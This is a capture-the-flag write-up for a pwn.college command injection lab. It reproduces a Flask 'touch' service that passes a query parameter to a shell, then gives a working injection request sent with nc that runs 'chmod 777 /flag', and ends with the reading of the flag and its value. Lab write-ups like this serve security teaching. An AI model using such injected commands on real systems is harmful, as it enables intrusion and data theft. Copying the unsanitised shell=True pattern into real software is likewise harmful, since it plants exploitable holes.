💉 Command Injection 5 — Writeup
Writeup from Web Security
🧩 Challenge Overview
Category: Web Exploitation
Challenge Name: cmdi-5
Platform: pwn.college
Goal: Exploit a command injection vulnerability in the /test endpoint to run arbitrary shell commands and retrieve the flag.
📝 Source Code Analysis
#!/opt/pwn.college/python
import subprocess
import flask
import os
app = flask.Flask(__name__)
@app.route("/test", methods=["GET"])
def challenge():
arg = flask.request.args.get("path", "/challenge/PWN")
command = f"touch {arg}"
print(f"DEBUG: {command=}")
result = subprocess.run(
command, # the command to run
shell=True, # use the shell to run this command
stdout=subprocess.PIPE, # capture the standard output
stderr=subprocess.STDOUT, # 2>&1
encoding="latin", # capture the resulting output as text
).stdout
return f"""
<html><body>
Welcome to the touch service! Please choose a file to touch:
<form action="/test"><input type=text name=path><input type=submit value=Submit></form>
<hr>
<b>Ran {command}!</b><br>
</body></html>
"""
os.setuid(os.geteuid())
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = "challenge.localhost:80"
app.run("challenge.localhost", 80)
Vulnerability
The value of the path query parameter is directly used in a shell command:
command = f"touch {arg}"
Since shell=True is used, this allows command injection via shell metacharacters like ;, &&, or |.
Exploit
We’ll inject a command using ; to escalate privileges on the flag file and make it readable.
printf "GET /test?path=hello;chmod+777+/flag+%%23 HTTP/1.0\r\nHost:challenge.localhost\r\n\r\n" | nc challenge.localhost 80
Breakdown:
- hello → Dummy file name
- ;chmod+777+/flag+%23 → Injected command to make /flag world-readable
-
- becomes space
- %23 is # (to comment out remaining shell line)
-
Final Step
Now simply read the flag:
cat /flag
Output:
pwn.college{cqMqQmTFOTppp1fqR5JAEzmpj-G.QX3YTN2wSM0IzMyEzW}